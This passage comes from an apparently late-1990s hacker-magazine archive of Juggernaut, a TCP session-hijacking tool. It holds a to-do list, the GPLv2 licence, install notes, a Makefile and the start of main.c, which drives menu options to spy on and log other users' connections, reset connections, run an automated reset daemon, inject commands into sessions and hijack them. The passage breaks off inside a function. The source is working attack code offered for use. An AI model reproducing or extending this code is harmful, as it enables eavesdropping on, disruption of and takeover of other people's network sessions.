  3189.  + re-structure multitasking model to give the option of
  3190.    using multi-processing OR multi-threading
  3191.  + Create boot image
  3192.  + Support for ongoing connections
  3193.  + Support for healthy choice hotdog sequencer
  3194.  + Add arp cache seeding routine; as connections are added, MAC
  3195.    addresses will be added to the arp cache
  3196.  + Add support for different verbosity levels
  3197.  + Add support for IP and TCP options in packet assembly module
  3198.  + Better packet assembly support as a whole
  3199.  + Better code module plug-in support
  3200.  + much more robust packet sniffing module with support for
  3201.    multiple protocols
  3202.  + um, interactive hijacking that doesn't kill the client
  3203. <-->
  3204. <++> Juggernaut/ClothLikeGauze/copyright
  3205.  
  3206.             Juggernaut 
  3207.  
  3208. Copyright (c) 1996/7 by daemon9/route [Guild] (route@infonexus.com)
  3209.   
  3210. Juggernaut source code, documentation, auxilliary programs, and 
  3211. executables are Copyright 1996/7 daemon9[guild].  All rights reserved.
  3212.  
  3213. ----------------------------------------------------------------------
  3214.  
  3215.             GNU GENERAL PUBLIC LICENSE
  3216.                Version 2, June 1991
  3217.  
  3218.  Copyright (C) 1989, 1991 Free Software Foundation, Inc.
  3219.                           675 Mass Ave, Cambridge, MA 02139, USA
  3220.  Everyone is permitted to copy and distribute verbatim copies
  3221.  of this license document, but changing it is not allowed.
  3222.  
  3223.                 Preamble
  3224.  
  3225.   The licenses for most software are designed to take away your
  3226. freedom to share and change it.  By contrast, the GNU General Public
  3227. License is intended to guarantee your freedom to share and change free
  3228. software--to make sure the software is free for all its users.  This
  3229. General Public License applies to most of the Free Software
  3230. Foundation's software and to any other program whose authors commit to
  3231. using it.  (Some other Free Software Foundation software is covered by
  3232. the GNU Library General Public License instead.)  You can apply it to
  3233. your programs, too.
  3234.  
  3235.   When we speak of free software, we are referring to freedom, not
  3236. price.  Our General Public Licenses are designed to make sure that you
  3237. have the freedom to distribute copies of free software (and charge for
  3238. this service if you wish), that you receive source code or can get it
  3239. if you want it, that you can change the software or use pieces of it
  3240. in new free programs; and that you know you can do these things.
  3241.  
  3242.   To protect your rights, we need to make restrictions that forbid
  3243. anyone to deny you these rights or to ask you to surrender the rights.
  3244. These restrictions translate to certain responsibilities for you if you
  3245. distribute copies of the software, or if you modify it.
  3246.  
  3247.   For example, if you distribute copies of such a program, whether
  3248. gratis or for a fee, you must give the recipients all the rights that
  3249. you have.  You must make sure that they, too, receive or can get the
  3250. source code.  And you must show them these terms so they know their
  3251. rights.
  3252.  
  3253.   We protect your rights with two steps: (1) copyright the software, and
  3254. (2) offer you this license which gives you legal permission to copy,
  3255. distribute and/or modify the software.
  3256.  
  3257.   Also, for each author's protection and ours, we want to make certain
  3258. that everyone understands that there is no warranty for this free
  3259. software.  If the software is modified by someone else and passed on, we
  3260. want its recipients to know that what they have is not the original, so
  3261. that any problems introduced by others will not reflect on the original
  3262. authors' reputations.
  3263.  
  3264.   Finally, any free program is threatened constantly by software
  3265. patents.  We wish to avoid the danger that redistributors of a free
  3266. program will individually obtain patent licenses, in effect making the
  3267. program proprietary.  To prevent this, we have made it clear that any
  3268. patent must be licensed for everyone's free use or not licensed at all.
  3269.  
  3270.   The precise terms and conditions for copying, distribution and
  3271. modification follow.
  3272.  
  3273.             GNU GENERAL PUBLIC LICENSE
  3274.    TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
  3275.  
  3276.   0. This License applies to any program or other work which contains
  3277. a notice placed by the copyright holder saying it may be distributed
  3278. under the terms of this General Public License.  The "Program", below,
  3279. refers to any such program or work, and a "work based on the Program"
  3280. means either the Program or any derivative work under copyright law:
  3281. that is to say, a work containing the Program or a portion of it,
  3282. either verbatim or with modifications and/or translated into another
  3283. language.  (Hereinafter, translation is included without limitation in
  3284. the term "modification".)  Each licensee is addressed as "you".
  3285.  
  3286. Activities other than copying, distribution and modification are not
  3287. covered by this License; they are outside its scope.  The act of
  3288. running the Program is not restricted, and the output from the Program
  3289. is covered only if its contents constitute a work based on the
  3290. Program (independent of having been made by running the Program).
  3291. Whether that is true depends on what the Program does.
  3292.  
  3293.   1. You may copy and distribute verbatim copies of the Program's
  3294. source code as you receive it, in any medium, provided that you
  3295. conspicuously and appropriately publish on each copy an appropriate
  3296. copyright notice and disclaimer of warranty; keep intact all the
  3297. notices that refer to this License and to the absence of any warranty;
  3298. and give any other recipients of the Program a copy of this License
  3299. along with the Program.
  3300.  
  3301. You may charge a fee for the physical act of transferring a copy, and
  3302. you may at your option offer warranty protection in exchange for a fee.
  3303.  
  3304.   2. You may modify your copy or copies of the Program or any portion
  3305. of it, thus forming a work based on the Program, and copy and
  3306. distribute such modifications or work under the terms of Section 1
  3307. above, provided that you also meet all of these conditions:
  3308.  
  3309.     a) You must cause the modified files to carry prominent notices
  3310.     stating that you changed the files and the date of any change.
  3311.  
  3312.     b) You must cause any work that you distribute or publish, that in
  3313.     whole or in part contains or is derived from the Program or any
  3314.     part thereof, to be licensed as a whole at no charge to all third
  3315.     parties under the terms of this License.
  3316.  
  3317.     c) If the modified program normally reads commands interactively
  3318.     when run, you must cause it, when started running for such
  3319.     interactive use in the most ordinary way, to print or display an
  3320.     announcement including an appropriate copyright notice and a
  3321.     notice that there is no warranty (or else, saying that you provide
  3322.     a warranty) and that users may redistribute the program under
  3323.     these conditions, and telling the user how to view a copy of this
  3324.     License.  (Exception: if the Program itself is interactive but
  3325.     does not normally print such an announcement, your work based on
  3326.     the Program is not required to print an announcement.)
  3327.  
  3328. These requirements apply to the modified work as a whole.  If
  3329. identifiable sections of that work are not derived from the Program,
  3330. and can be reasonably considered independent and separate works in
  3331. themselves, then this License, and its terms, do not apply to those
  3332. sections when you distribute them as separate works.  But when you
  3333. distribute the same sections as part of a whole which is a work based
  3334. on the Program, the distribution of the whole must be on the terms of
  3335. this License, whose permissions for other licensees extend to the
  3336. entire whole, and thus to each and every part regardless of who wrote it.
  3337.  
  3338. Thus, it is not the intent of this section to claim rights or contest
  3339. your rights to work written entirely by you; rather, the intent is to
  3340. exercise the right to control the distribution of derivative or
  3341. collective works based on the Program.
  3342.  
  3343. In addition, mere aggregation of another work not based on the Program
  3344. with the Program (or with a work based on the Program) on a volume of
  3345. a storage or distribution medium does not bring the other work under
  3346. the scope of this License.
  3347.  
  3348.   3. You may copy and distribute the Program (or a work based on it,
  3349. under Section 2) in object code or executable form under the terms of
  3350. Sections 1 and 2 above provided that you also do one of the following:
  3351.  
  3352.     a) Accompany it with the complete corresponding machine-readable
  3353.     source code, which must be distributed under the terms of Sections
  3354.     1 and 2 above on a medium customarily used for software interchange; or,
  3355.  
  3356.     b) Accompany it with a written offer, valid for at least three
  3357.     years, to give any third party, for a charge no more than your
  3358.     cost of physically performing source distribution, a complete
  3359.     machine-readable copy of the corresponding source code, to be
  3360.     distributed under the terms of Sections 1 and 2 above on a medium
  3361.     customarily used for software interchange; or,
  3362.  
  3363.     c) Accompany it with the information you received as to the offer
  3364.     to distribute corresponding source code.  (This alternative is
  3365.     allowed only for noncommercial distribution and only if you
  3366.     received the program in object code or executable form with such
  3367.     an offer, in accord with Subsection b above.)
  3368.  
  3369. The source code for a work means the preferred form of the work for
  3370. making modifications to it.  For an executable work, complete source
  3371. code means all the source code for all modules it contains, plus any
  3372. associated interface definition files, plus the scripts used to
  3373. control compilation and installation of the executable.  However, as a
  3374. special exception, the source code distributed need not include
  3375. anything that is normally distributed (in either source or binary
  3376. form) with the major components (compiler, kernel, and so on) of the
  3377. operating system on which the executable runs, unless that component
  3378. itself accompanies the executable.
  3379.  
  3380. If distribution of executable or object code is made by offering
  3381. access to copy from a designated place, then offering equivalent
  3382. access to copy the source code from the same place counts as
  3383. distribution of the source code, even though third parties are not
  3384. compelled to copy the source along with the object code.
  3385.  
  3386.   4. You may not copy, modify, sublicense, or distribute the Program
  3387. except as expressly provided under this License.  Any attempt
  3388. otherwise to copy, modify, sublicense or distribute the Program is
  3389. void, and will automatically terminate your rights under this License.
  3390. However, parties who have received copies, or rights, from you under
  3391. this License will not have their licenses terminated so long as such
  3392. parties remain in full compliance.
  3393.  
  3394.   5. You are not required to accept this License, since you have not
  3395. signed it.  However, nothing else grants you permission to modify or
  3396. distribute the Program or its derivative works.  These actions are
  3397. prohibited by law if you do not accept this License.  Therefore, by
  3398. modifying or distributing the Program (or any work based on the
  3399. Program), you indicate your acceptance of this License to do so, and
  3400. all its terms and conditions for copying, distributing or modifying
  3401. the Program or works based on it.
  3402.  
  3403.   6. Each time you redistribute the Program (or any work based on the
  3404. Program), the recipient automatically receives a license from the
  3405. original licensor to copy, distribute or modify the Program subject to
  3406. these terms and conditions.  You may not impose any further
  3407. restrictions on the recipients' exercise of the rights granted herein.
  3408. You are not responsible for enforcing compliance by third parties to
  3409. this License.
  3410.  
  3411.   7. If, as a consequence of a court judgment or allegation of patent
  3412. infringement or for any other reason (not limited to patent issues),
  3413. conditions are imposed on you (whether by court order, agreement or
  3414. otherwise) that contradict the conditions of this License, they do not
  3415. excuse you from the conditions of this License.  If you cannot
  3416. distribute so as to satisfy simultaneously your obligations under this
  3417. License and any other pertinent obligations, then as a consequence you
  3418. may not distribute the Program at all.  For example, if a patent
  3419. license would not permit royalty-free redistribution of the Program by
  3420. all those who receive copies directly or indirectly through you, then
  3421. the only way you could satisfy both it and this License would be to
  3422. refrain entirely from distribution of the Program.
  3423.  
  3424. If any portion of this section is held invalid or unenforceable under
  3425. any particular circumstance, the balance of the section is intended to
  3426. apply and the section as a whole is intended to apply in other
  3427. circumstances.
  3428.  
  3429. It is not the purpose of this section to induce you to infringe any
  3430. patents or other property right claims or to contest validity of any
  3431. such claims; this section has the sole purpose of protecting the
  3432. integrity of the free software distribution system, which is
  3433. implemented by public license practices.  Many people have made
  3434. generous contributions to the wide range of software distributed
  3435. through that system in reliance on consistent application of that
  3436. system; it is up to the author/donor to decide if he or she is willing
  3437. to distribute software through any other system and a licensee cannot
  3438. impose that choice.
  3439.  
  3440. This section is intended to make thoroughly clear what is believed to
  3441. be a consequence of the rest of this License.
  3442.  
  3443.   8. If the distribution and/or use of the Program is restricted in
  3444. certain countries either by patents or by copyrighted interfaces, the
  3445. original copyright holder who places the Program under this License
  3446. may add an explicit geographical distribution limitation excluding
  3447. those countries, so that distribution is permitted only in or among
  3448. countries not thus excluded.  In such case, this License incorporates
  3449. the limitation as if written in the body of this License.
  3450.  
  3451.   9. The Free Software Foundation may publish revised and/or new versions
  3452. of the General Public License from time to time.  Such new versions will
  3453. be similar in spirit to the present version, but may differ in detail to
  3454. address new problems or concerns.
  3455.  
  3456. Each version is given a distinguishing version number.  If the Program
  3457. specifies a version number of this License which applies to it and "any
  3458. later version", you have the option of following the terms and conditions
  3459. either of that version or of any later version published by the Free
  3460. Software Foundation.  If the Program does not specify a version number of
  3461. this License, you may choose any version ever published by the Free Software
  3462. Foundation.
  3463.  
  3464.   10. If you wish to incorporate parts of the Program into other free
  3465. programs whose distribution conditions are different, write to the author
  3466. to ask for permission.  For software which is copyrighted by the Free
  3467. Software Foundation, write to the Free Software Foundation; we sometimes
  3468. make exceptions for this.  Our decision will be guided by the two goals
  3469. of preserving the free status of all derivatives of our free software and
  3470. of promoting the sharing and reuse of software generally.
  3471.  
  3472.                 NO WARRANTY
  3473.  
  3474.   11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
  3475. FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
  3476. OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
  3477. PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
  3478. OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
  3479. MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
  3480. TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
  3481. PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
  3482. REPAIR OR CORRECTION.
  3483.  
  3484.   12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
  3485. WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
  3486. REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
  3487. INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
  3488. OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
  3489. TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
  3490. YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
  3491. PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
  3492. POSSIBILITY OF SUCH DAMAGES.
  3493.  
  3494.              END OF TERMS AND CONDITIONS
  3495.  
  3496.     Appendix: How to Apply These Terms to Your New Programs
  3497.  
  3498.   If you develop a new program, and you want it to be of the greatest
  3499. possible use to the public, the best way to achieve this is to make it
  3500. free software which everyone can redistribute and change under these terms.
  3501.  
  3502.   To do so, attach the following notices to the program.  It is safest
  3503. to attach them to the start of each source file to most effectively
  3504. convey the exclusion of warranty; and each file should have at least
  3505. the "copyright" line and a pointer to where the full notice is found.
  3506.  
  3507.     <one line to give the program's name and a brief idea of what it does.>
  3508.     Copyright (C) 19yy  <name of author>
  3509.  
  3510.     This program is free software; you can redistribute it and/or modify
  3511.     it under the terms of the GNU General Public License as published by
  3512.     the Free Software Foundation; either version 2 of the License, or
  3513.     (at your option) any later version.
  3514.  
  3515.     This program is distributed in the hope that it will be useful,
  3516.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  3517.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  3518.     GNU General Public License for more details.
  3519.  
  3520.     You should have received a copy of the GNU General Public License
  3521.     along with this program; if not, write to the Free Software
  3522.     Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  3523.  
  3524. Also add information on how to contact you by electronic and paper mail.
  3525.  
  3526. If the program is interactive, make it output a short notice like this
  3527. when it starts in an interactive mode:
  3528.  
  3529.     Gnomovision version 69, Copyright (C) 19yy name of author
  3530.     Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
  3531.     This is free software, and you are welcome to redistribute it
  3532.     under certain conditions; type `show c' for details.
  3533.  
  3534. The hypothetical commands `show w' and `show c' should show the appropriate
  3535. parts of the General Public License.  Of course, the commands you use may
  3536. be called something other than `show w' and `show c'; they could even be
  3537. mouse-clicks or menu items--whatever suits your program.
  3538.  
  3539. You should also get your employer (if you work as a programmer) or your
  3540. school, if any, to sign a "copyright disclaimer" for the program, if
  3541. necessary.  Here is a sample; alter the names:
  3542.  
  3543.   Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  3544.   `Gnomovision' (which makes passes at compilers) written by James Hacker.
  3545.  
  3546.   <signature of Ty Coon>, 1 April 1989
  3547.   Ty Coon, President of Vice
  3548.  
  3549. This General Public License does not permit incorporating your program into
  3550. proprietary programs.  If your program is a subroutine library, you may
  3551. consider it more useful to permit linking proprietary applications with the
  3552. library.  If this is what you want to do, use the GNU Library General
  3553. Public License instead of this License.
  3554. <-->
  3555. <++> Juggernaut/Install
  3556. Juggernaut 1.0 Installation Instructions
  3557. ----------------------------------------
  3558. 1.  Are you a fucking moron?  If so, goto step 6; you are done.
  3559.  
  3560. 2.  Edit the Makefile.  You may wish to change a few of the
  3561.     defines:
  3562.  
  3563.     USENAME:    Define this to have Juggernaut attempt to 
  3564.                 resolve IP addresses into FQDNs...  It's
  3565.                 slower but more verbose this way.
  3566.     MULTI_P:    Define this to use multi-process model of 
  3567.                 multi-tasking.
  3568.     THREAD:     Define this to use multi-threaded model of
  3569.                 multi-tasking.  Be sure to also link in
  3570.                 the pthreads library.  Not implemented yet.
  3571.     IP_HDRINCL: Define this if you want/need to use the
  3572.                 IP_HDRINCL socket option to build IP
  3573.                 headers.
  3574.     NOHUSH:     If defined, Juggernaut will notify the user
  3575.                 audibly when a connection is added.
  3576.     GREED:      If defined, Juggernaut will attempt to add
  3577.                 any and ALL TCP based connections to the 
  3578.                 database.  This is not recommended unless
  3579.                 you know what you are doing...
  3580.     FASTCHECK:  Define this to use a fast x86 assembler 
  3581.                 implementation of the IP checksum routine.
  3582.                 May not work on all systems.  That's why
  3583.                 you have the option.
  3584. 3. make all
  3585.  
  3586. 4. yay.
  3587.  
  3588. 5. ./juggernaut -h
  3589. <-->
  3590. <++> Juggernaut/Makefile
  3591. # Juggernaut Makefile
  3592. # 1996/7 daemon9[guild|phrack|r00t]
  3593.  
  3594. CC      =   gcc
  3595. #LIBS    =   -L/usr/lib -lpthread
  3596. CFLAGS  =   -O3 -funroll-loops -fomit-frame-pointer -pipe -m486 #-Wall
  3597. DEFINES =   -DMULTI_P -DNOHUSH -DUSENAME -DFASTCHECK
  3598. DEFINES +=  #-DGREED #-DIP_HDRINCL #-DTHREAD 
  3599. OBJECTS =   NumberOneCrush/main.o NumberOneCrush/menu.o\
  3600.             NumberOneCrush/mem.o NumberOneCrush/prometheus.o\
  3601.             NumberOneCrush/net.o NumberOneCrush/surplus.o
  3602.  
  3603. .c.o:
  3604.     $(CC) $(CFLAGS) $(DEFINES) -c $< -o $@
  3605.  
  3606. all: JUGGERNAUT
  3607.  
  3608. JUGGERNAUT: $(OBJECTS)
  3609.     $(CC) $(CFLAGS) $(DEFINES) $(OBJECTS) $(LIBS) -o juggernaut
  3610.     strip juggernaut
  3611.  
  3612. clean:
  3613.     rm -f core juggernaut juggernaut.log.snif juggernaut.log.spy
  3614.     rm -rf NumberOneCrush/*.o
  3615. <-->
  3616. <++> Juggernaut/NumberOneCrush/main.c
  3617. /*
  3618.  *
  3619.  *                        Juggernaut
  3620.  *                    Version b2
  3621.  *
  3622.  *                            1996/7 Guild productions
  3623.  *                 daemon9[guild|phrack|r00t]
  3624.  *
  3625.  *                         comments to route@infonexus.com
  3626.  *
  3627.  *  This coding project made possible by a grant from the Guild corporation
  3628.  * 
  3629.  *  main.c - main control logic and program driver.  Consists mainly of wrappers 
  3630.  *  to setup the main subfunctions.
  3631.  *
  3632.  *
  3633.  */
  3634.  
  3635. #include <string.h>
  3636. #include <signal.h>
  3637. #include <stdlib.h>
  3638. #include <stdio.h>
  3639. #include <unistd.h>
  3640. #include <fcntl.h>
  3641. #include <ctype.h>
  3642. #include <syslog.h>
  3643. #include <sys/types.h>
  3644. #include <sys/socket.h>
  3645. #include <sys/wait.h>
  3646. #include <sys/ioctl.h>
  3647. #include <sys/stat.h>
  3648. #include <sys/time.h>
  3649. #include <sys/resource.h>
  3650. #include <netinet/in.h>
  3651.  
  3652. #ifdef THREAD
  3653. #include <pthread.h>
  3654. #endif
  3655.  
  3656. #define MINIBUF 10
  3657. #define BUFSIZE 512
  3658. #define DEVICE "eth0"
  3659. #define LOGFILE "./juggernaut.log.spy"
  3660.  
  3661. char version[]="1.0\0";
  3662. int sigsentry=1;            /* Signal sentry */
  3663. int ripsock=0;                /* RIP socket */
  3664. int linksock=0;                /* SOCK PACKET socket */
  3665. int hpid=0;                /* hunter child PID */
  3666. int acrstpid=0;                /* automated connection reset PID */
  3667. int netreadtimeout=10;            /* Network read timeout in seconds */
  3668. int verbosity=1;            /* Level of verbosity */
  3669. int enticementfactor=16;            /* Enticing packets!@ */
  3670. time_t uptime=0;                    /* How long have we been running */
  3671.  
  3672. struct connectionInfo{            /* Simple tuple information */
  3673.     unsigned long saddr;            /* Source IP */
  3674.     unsigned long daddr;            /* Destination IP */
  3675.     unsigned short sport;           /* Source TCP Port */  
  3676.     unsigned short dport;           /* Destination TCP Port */
  3677. };
  3678.  
  3679.  
  3680. /*
  3681.  *  Main control logic.  All the main logic is implemented in the switch 
  3682.  *  statement.
  3683.  */
  3684.  
  3685. int main(argc,argv)
  3686. int argc;
  3687. char *argv[];
  3688. {
  3689.  
  3690.     void usage(char *);
  3691.     void hunt();        
  3692.     void spy();
  3693.     void rst();
  3694.     void arst();
  3695.     void pkta();
  3696.     void simplexhijack();
  3697.     void hijack();
  3698.     void powerup();
  3699.     void minit();
  3700.     void mwipe();
  3701.     void mmain();
  3702.     void twitch();
  3703.     void cleanexit();
  3704.     void bloodhound(char *,int);
  3705.     void bookworm();
  3706.     void dbmanip();
  3707.     void jinfo();
  3708.     int rawsock();
  3709.     int tap();
  3710.     float dump();            
  3711.         
  3712.     char buf[MINIBUF]={0};
  3713.     char token[2*MINIBUF]={0};
  3714.     int c;
  3715.                                 
  3716.     if(geteuid()||getuid()){                /* r00t? */
  3717.         fprintf(stderr,"UID or EUID of 0 needed...\n");
  3718.         exit(0);
  3719.         }
  3720.                                           /* Parse command-line arguments */
  3721.     while((c=getopt(argc,argv,"s:e:t:vVhH"))!=-1){
  3722.         switch(c){
  3723.             case 's':                       /* dedicated sniffing mode */
  3724.                 strncpy(token,optarg,(sizeof(token)-1));
  3725.                 break;
  3726.          case 'e':                       /* Enticement factor (only valid 
  3727.                                                with -s option) */
  3728.             enticementfactor=atoi(optarg);
  3729.         break;
  3730.         case 't':                       /* Network alarm timeout */
  3731.             netreadtimeout=atoi(optarg);
  3732.         break;
  3733.         case 'v':                        /* decrease verbosity */    
  3734.             verbosity=0;
  3735.             break;
  3736.         case 'V':                        /* version info */    
  3737.                 jinfo();
  3738.                 exit(0);
  3739.             case 'h':                       /* Help is on the way my friend */
  3740.                 usage(argv[0]);
  3741.                 exit(0);
  3742.             case 'H':                       /* Help is on the way my friend */
  3743.                 bookworm();
  3744.                 exit(0);
  3745.         default:
  3746.             usage(argv[0]);
  3747.             break;
  3748.         }     
  3749.     }
  3750.     if(token[0]){
  3751.         bloodhound(token,enticementfactor); 
  3752.         exit(0);
  3753.     }
  3754.  
  3755.     mwipe();
  3756.     minit();                    /* Initial menu */
  3757.     fprintf(stderr,"[cr]");
  3758.     getchar();
  3759.  
  3760.     signal(SIGINT,twitch);            /* Catch these signals */
  3761.     signal(SIGQUIT,twitch);
  3762.  
  3763.     ripsock=rawsock();                /* Setup RIP socket */
  3764.     linksock=tap(DEVICE);                   /* Setup link socket */ 
  3765.  
  3766.     powerup();                    /* Setup shared memory and 
  3767.                                                semaphore */
  3768.     time(&uptime);                          /* Start the uptime timer */
  3769.     hunt();                    /* Start the connection hunter */
  3770.     
  3771.     while(1){
  3772.         mwipe();
  3773.         mmain();
  3774.         bzero(&buf,sizeof(buf));
  3775.         fgets(buf,sizeof(buf),stdin);
  3776.         switch(buf[0]){
  3777.             case '?':
  3778.                 mwipe();
  3779.                 bookworm();
  3780.                 mwipe();
  3781.                 break;
  3782.             case '0':
  3783.                 mwipe();
  3784.                 jinfo();
  3785.                 mwipe();
  3786.                 break;
  3787.             case '1':
  3788.                 mwipe();
  3789.                 dbmanip();
  3790.             mwipe();
  3791.             break;
  3792.             case '2':               /* Watch a connection. */
  3793.                 mwipe();
  3794.             spy();            
  3795.             mwipe();
  3796.             break;
  3797.             case '3':                /* Kill a connection. */
  3798.             mwipe();
  3799.             rst();            
  3800.             mwipe();
  3801.         break;
  3802.         case '4':               /* Automated CRST daemon. */
  3803.         mwipe();
  3804.         arst();            
  3805.         mwipe();
  3806.         break;
  3807.         case '5':            /* Insert a single command. */
  3808.         mwipe();        
  3809.         simplexhijack();
  3810.         mwipe();
  3811.         break;
  3812.         case '6':            /* Hijack the session from the client */
  3813.         mwipe();        
  3814.         hijack();
  3815.         mwipe();
  3816.         break;
  3817.         case '7':                /* The packet assembly workshop */
  3818.         mwipe();
  3819.         pkta();            
  3820.         mwipe();
  3821.         break;
  3822.         case '8':            /* For future use. */
  3823.         break;
  3824.             case '9':
  3825.                 cleanexit();
  3826.             default:
  3827.             continue;
  3828.         }
  3829.     }
  3830.                                 /* NOT REACHED */
  3831.     return(0);
  3832. }
  3833.  
  3834.  
  3835. /*
  3836.  *  chunt wrapper
  3837.  */
  3838.  
  3839. void hunt(){
  3840.  
  3841. #ifdef MULTI_P
  3842.     void spasm();                /* Handles the user defined signal */
  3843.     void chunt();
  3844.  
  3845.     switch((hpid=fork())){
  3846.         case 0:                    /* Child */
  3847.         signal(SIGUSR1,spasm);
  3848.         signal(SIGINT,SIG_IGN);        /* Catch these signals */
  3849.         signal(SIGQUIT,SIG_IGN);
  3850.         close(ripsock);            /* Not needed in hunter */
  3851.         chunt();
  3852.         default:
  3853.         break;                /* Parent continues */
  3854.         case -1:
  3855.         if(verbosity)perror("(hunt) internal forking error [fatal]");
  3856.         exit(1);
  3857.     }    
  3858. #endif
  3859.  
  3860. #ifdef THREAD
  3861.  
  3862.     MULTIPLE THREADS OF EXECUTION IS NOT IMPLEMENTED YET.
  3863.  
  3864.     void chunt();
  3865.  
  3866.     pthread_t hunter_t;
  3867.  
  3868.     pthread_create(&hunter_t,NULL,(void *)chunt(),(void *)NULL);
  3869.  
  3870. #endif
  3871.  
  3872. }
  3873.  
  3874.  
  3875. /*
  3876.  *  cspy wrapper
  3877.  */
  3878.  
  3879. void spy(){
  3880.  
  3881.     void convulsion();
  3882.     float dump();
  3883.     struct connectionInfo *checkc(int);
  3884.     void cspy(struct connectionInfo *,FILE *);
  3885.  
  3886.     char buf[MINIBUF];
  3887.     unsigned short val;
  3888.     struct connectionInfo *target;
  3889.     FILE *fp=0;    
  3890.  
  3891.     dump();                            
  3892.     
  3893.     while(1){
  3894.         fprintf(stderr,"\nChoose a connection [q] >");
  3895.         fgets(buf,sizeof(buf),stdin);
  3896.         if(buf[0]==0x0a||buf[0]=='q')return;
  3897.         if(!(int)(val=atoi(buf)))continue;
  3898.         if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");    
  3899.         else break;
  3900.     }
  3901.     fprintf(stderr,"\nDo you wish to log to a file as well? [y/N] >");
  3902.     fgets(buf,sizeof(buf),stdin);
  3903.     if(toupper(buf[0])=='Y'){
  3904.         if(!(fp=fopen(LOGFILE,"a+"))){
  3905.             if(verbosity){
  3906.                 fprintf(stderr,"Cannot open file for logging, skipping operation.\n");
  3907.                 fprintf(stderr,"[cr]");
  3908.                 getchar();
  3909.             }
  3910.         }
  3911.     }
  3912.     fprintf(stderr,"\nSpying on connection, hit `ctrl-c` when done.\n");
  3913.     signal(SIGINT,convulsion);
  3914.     sigsentry=1;
  3915.     cspy(target,fp);
  3916.     if(fp)fclose(fp);
  3917. }
  3918.  
  3919.  
  3920. /*
  3921.  *  crst wrapper
  3922.  */ 
  3923.  
  3924. void rst(){
  3925.  
  3926.     void convulsion();
  3927.     float dump();
  3928.     void crst(struct connectionInfo *);    
  3929.  
  3930.     struct connectionInfo *checkc(int);
  3931.  
  3932.     char buf[MINIBUF];
  3933.     unsigned short val;
  3934.     struct connectionInfo *target;
  3935.  
  3936.     dump();
  3937.     
  3938.     while(1){
  3939.         fprintf(stderr,"\nChoose a connection [q] >");
  3940.     fgets(buf,sizeof(buf),stdin);
  3941.     if(buf[0]==0x0a||buf[0]=='q')return;
  3942.        if(!(int)(val=atoi(buf)))continue;
  3943.     if(!(target=checkc(val)))fprintf(stderr,"Connection not in queue.\n");
  3944.     else break;
  3945.     }
  3946.     signal(SIGINT,convulsion);
  3947.     crst(target);                            
  3948.     fprintf(stderr,"[cr]");
  3949.     getchar();
  3950. }
  3951.  
  3952.  
  3953. /*
  3954.  *  acrst wrapper
  3955.  */ 
  3956.  
  3957. void arst(){
  3958.  
  3959.     void convulsion();
  3960.     float dump();
  3961.     void acrst(unsigned long,unsigned long);
  3962.     char *hostLookup(unsigned long);
  3963.     unsigned long nameResolve(char *);
  3964.  
  3965.     char buf[4*MINIBUF];
  3966.     unsigned long source,target;
  3967.                             /* Setup addresing info */
  3968.     fprintf(stderr,"\nEnter source IP [q] >");
  3969.     fgets(buf,sizeof(buf),stdin);
  3970.     if(buf[0]==0x0a||buf[0]=='q')return;            
  3971.     if(!(source=nameResolve(buf))){
  3972.         if(verbosity){
  3973.             fprintf(stderr,"Name lookup failure: `%s`\n[cr]",buf);
  3974.             getchar();     
  3975.         }
  3976.         return;
  3977.     }
  3978.     fprintf(stderr,"\nEnter target IP (optional) [q] >");
  3979.     fgets(buf,sizeof(buf),stdin);
  3980.     if(buf[0]=='q')return;            
  3981.     if(buf[0]==0x0a)target=0;            /* target may be null, in this 
  3982.                                                case, we only care where
  3983.                                                the connection is coming from */
  3984.     else if(!(target=nameResolve(buf))){
  3985.     if(verbosity){
  3986.             fprintf(stderr,"Name lookup failure: %s\n[cr]",buf);
  3987.             getchar();     
  3988.         }
  3989.         return;
  3990.     }
  3991.     if(!target)fprintf(stderr,"Reseting all connection requests from:\t %s\n",hostLookup(source));
  3992.     else fprintf(stderr,"Reseting all connection requests from:\t %s --> %s\n",hostLookup(source),hostLookup(target));
  3993.     fprintf(stderr,"[cr]");
  3994.     getchar();
  3995.     acrst(source,target);                            
  3996. }
  3997.  
  3998.  
  3999. /* 
  4000.  *  dumpc wrapper
  4001.  */
  4002.  
  4003. float dump(){
  4004.  
  4005.     float dumpc();
  4006.     float usage=0;
  4007.  
  4008.     fprintf(stderr,"\nCurrent Connection Database:\n");
  4009.     fprintf(stderr,"-------------------------------------------------\n");
  4010.     fprintf(stderr,"ref #    source                            target  \n\n");
  4011.     usage=dumpc();
  4012.     fprintf(stderr,"-------------------------------------------------\n");
  4013.  
  4014.     return usage;
  4015. }
  4016.  
  4017.  
  4018. /*
  4019.  *  database manipulation routines go here..
  4020.  */
  4021.  
  4022. void dbmanip(){
  4023.  
  4024.     float dump();
  4025.     void cleardb();
  4026.  
